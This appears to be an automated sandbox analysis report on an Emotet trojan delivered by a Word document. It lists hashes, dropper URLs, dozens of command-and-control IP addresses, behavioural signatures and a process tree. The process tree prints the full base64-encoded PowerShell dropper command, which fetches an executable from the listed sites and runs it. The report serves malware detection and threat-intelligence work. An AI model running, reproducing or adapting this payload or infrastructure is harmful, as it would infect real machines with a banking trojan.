emotet | 2b2b4341e21f9930df58f0f4f10bd2642775d7eaba166ec686f12a411011c3a5

Analysis

max time kernel
135s
max time network
145s
platform
windows10_x64
resource
win10v200722
submitted
10/08/2020, 11:36

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General

Target
OF_12698511478486.doc
Size 175KB
Sample200810-917dq76dma
SHA256 2b2b4341e21f9930df58f0f4f10bd2642775d7eaba166ec686f12a411011c3a5
MD5 96d42473ab078819209985ec51caa1a6
SHA1 11603d69e6b3b93c9dd8b7b178b03360ccf5d905
SHA512 66685768600a74e1159b002bea217e30bf95e5db39c5800e5997932a7fa2317d63eb5f0194a6c51e743f7c4b091afdec0ab70867d727ee55994ee5416543f4ee
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://rhinopaving.com/wp-content/431e_ks_ohbu7uf/
exe.dropper
http://spk.jpm.gov.my/0wp-content/ithn_eziao_ify6vv1f/
exe.dropper
http://septicst.ru/wp-content/haasy_0ail8_llg/
exe.dropper
https://terrafreshorganics.com/wp-includes./6vto_we1t_fcdo/
exe.dropper
http://lyveinc.com/wp-content/uploads/zt_wv_czgbonheb/

Extracted

Family

emotet

74.120.55.163:80
176.10.250.88:8080
96.8.113.4:8080
137.59.187.107:8080
74.208.45.104:8080
104.131.11.150:443
110.145.77.103:80
87.106.136.232:8080
114.146.222.200:80
37.187.72.193:8080
181.230.116.163:80
70.167.215.250:8080
103.86.49.11:8080
201.173.217.124:443
109.74.5.95:8080
95.213.236.64:8080
5.39.91.110:7080
78.24.219.147:8080
81.2.235.111:8080
183.101.175.193:80
85.152.162.105:80
139.59.60.244:8080
47.146.117.214:80
104.131.44.150:8080
72.12.127.184:443
200.41.121.90:80
41.60.200.34:80
61.19.246.238:443
139.130.242.43:80
113.160.130.116:8443
76.27.179.47:80
190.55.181.54:443
176.111.60.55:8080
46.105.131.79:8080
93.51.50.171:8080
121.124.124.40:7080
62.75.141.82:80
24.43.99.75:80
204.197.146.48:80
157.245.99.39:8080
104.236.246.93:8080
47.144.21.12:443
203.153.216.189:7080
142.105.151.124:443
153.126.210.205:7080
185.94.252.104:443
209.141.54.221:8080
162.241.92.219:8080
222.214.218.37:4143
119.198.40.179:80
24.179.13.119:80
157.147.76.151:80
50.116.86.205:8080
83.110.223.58:443
152.168.248.128:443
79.98.24.39:8080
165.165.171.160:8080
47.153.182.47:80
168.235.67.138:7080
5.196.74.210:8080
180.92.239.110:8080
189.212.199.126:443
47.146.32.175:80
91.211.88.52:7080
62.138.26.28:8080
209.182.216.177:443
169.239.182.217:8080
190.160.53.126:80
95.179.229.244:8080
181.211.11.242:80
37.139.21.175:8080
87.106.139.101:8080
116.203.32.252:8080
200.55.243.138:8080

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
3160	246.exe
3160	246.exe
3828	rfxvmt.exe
3828	rfxvmt.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	1076	powersheLL.exe	66

Executes dropped EXE 2 IoCs

pid	Process
3160	246.exe
3828	rfxvmt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
528	WINWORD.EXE
528	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2092	powersheLL.exe
2092	powersheLL.exe
2092	powersheLL.exe
3828	rfxvmt.exe
3828	rfxvmt.exe
3828	rfxvmt.exe
3828	rfxvmt.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	2092	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 3828	3160	246.exe	75
PID 3160 wrote to memory of 3828	3160	246.exe	75
PID 3160 wrote to memory of 3828	3160	246.exe	75

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3160-15-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/3160-15-0x0000000002230000-0x000000000223C000-memory.dmp	emotet
behavioral2/memory/3828-18-0x00000000005D7000-0x00000000005DC000-memory.dmp	emotet
behavioral2/memory/3828-18-0x00000000005D7000-0x00000000005DC000-memory.dmp	emotet
behavioral2/memory/3828-19-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet
behavioral2/memory/3828-19-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\odbc32\rfxvmt.exe	246.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\OF_12698511478486.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
PID:528

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAEEAVgBHAFgAZABuAG8APQAnAEcARwBGAEkAUwBxAGIAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAFUAUgBpAFQAYAB5AFAAcgBPAFQAbwBjAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEQARwBWAEwAQwBjAGQAcwAgAD0AIAAnADIANAA2ACcAOwAkAE8AUQBSAEQARgBqAGgAaAA9ACcATgBaAFcARQBEAGQAdQBkACcAOwAkAFoAWABRAEkAUQBjAG0AbAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABHAFYATABDAGMAZABzACsAJwAuAGUAeABlACcAOwAkAFMAWgBNAFYAQwBxAGcAZQA9ACcAVQBOAEUASgBMAHYAdgBlACcAOwAkAE8AQgBJAE0AVQByAHEAZAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAGwASQBlAG4AdAA7ACQAVwBHAFQAUABRAG8AawBvAD0AJwBoAHQAdABwADoALwAvAHIAaABpAG4AbwBwAGEAdgBpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADQAMwAxAGUAXwBrAHMAXwBvAGgAYgB1ADcAdQBmAC8AKgBoAHQAdABwADoALwAvAHMAcABrAC4AagBwAG0ALgBnAG8AdgAuAG0AeQAvADAAdwBwAC0AYwBvAG4AdABlAG4AdAAvAGkAdABoAG4AXwBlAHoAaQBhAG8AXwBpAGYAeQA2AHYAdgAxAGYALwAqAGgAdAB0AHAAOgAvAC8AcwBlAHAAdABpAGMAcwB0AC4AcgB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGgAYQBhAHMAeQBfADAAYQBpAGwAOABfAGwAbABnAC8AKgBoAHQAdABwAHMAOgAvAC8AdABlAHIAcgBhAGYAcgBlAHMAaABvAHIAZwBhAG4AaQBjAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAuAC8ANgB2AHQAbwBfAHcAZQAxAHQAXwBmAGMAZABvAC8AKgBoAHQAdABwADoALwAvAGwAeQB2AGUAaQBuAGMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AegB0AF8AdwB2AF8AYwB6AGcAYgBvAG4AaABlAGIALwAnAC4AIgBzAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAWABRAFgAUQB2AGEAYQA9ACcASgBCAEMARgBZAG4AaAB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAEIAWQBIAFcAegB0AGUAIABpAG4AIAAkAFcARwBUAFAAUQBvAGsAbwApAHsAdAByAHkAewAkAE8AQgBJAE0AVQByAHEAZAAuACIARABPAFcATgBgAEwAbwBBAEQAYABGAGkAbABFACIAKAAkAFoAQgBZAEgAVwB6AHQAZQAsACAAJABaAFgAUQBJAFEAYwBtAGwAKQA7ACQAVQBUAE4AQQBYAGEAawBuAD0AJwBIAEQATgBBAEoAeQB4AG0AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAFgAUQBJAFEAYwBtAGwAKQAuACIAbABlAE4ARwBgAFQASAAiACAALQBnAGUAIAAyADUAMAAxADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAQQBgAFQAZQAiACgAJABaAFgAUQBJAFEAYwBtAGwAKQA7ACQAVgBKAFIAVQBCAGQAdwBkAD0AJwBQAFAAUgBDAE0AcABiAGwAJwA7AGIAcgBlAGEAawA7ACQASABaAFAATQBDAGIAcwB3AD0AJwBKAFMARABIAEwAZwBkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABZAEwAWABBAHgAbQB5AD0AJwBRAEIAQgBLAEgAbgBmAGYAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2092

C:\Users\Admin\246.exe
C:\Users\Admin\246.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3160
- C:\Windows\SysWOW64\odbc32\rfxvmt.exe
  "C:\Windows\SysWOW64\odbc32\rfxvmt.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/528-4-0x000001A237EA8000-0x000001A237EF0000-memory.dmp

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memory/528-3-0x000001A237EA8000-0x000001A237EF0000-memory.dmp

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memory/528-5-0x000001A237EA8000-0x000001A237EF0000-memory.dmp

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memory/528-7-0x000001A2381A1000-0x000001A2381AA000-memory.dmp

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memory/528-8-0x000001A2381A1000-0x000001A2381AA000-memory.dmp

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memory/528-1-0x000001A237EA8000-0x000001A237EF0000-memory.dmp

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memory/528-2-0x000001A237EA8000-0x000001A237EF0000-memory.dmp

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memory/528-0-0x00007FFC126D0000-0x00007FFC12D96000-memory.dmp

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memory/2092-11-0x0000024829EA0000-0x0000024829EA1000-memory.dmp

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memory/2092-10-0x0000024829CF0000-0x0000024829CF1000-memory.dmp

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memory/2092-9-0x00007FFC0AA40000-0x00007FFC0B42C000-memory.dmp

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memory/3160-14-0x00000000006E7000-0x00000000006EC000-memory.dmp

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memory/3160-15-0x0000000002230000-0x000000000223C000-memory.dmp

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memory/3828-18-0x00000000005D7000-0x00000000005DC000-memory.dmp

Download

memory/3828-19-0x00000000004B0000-0x00000000004BC000-memory.dmp

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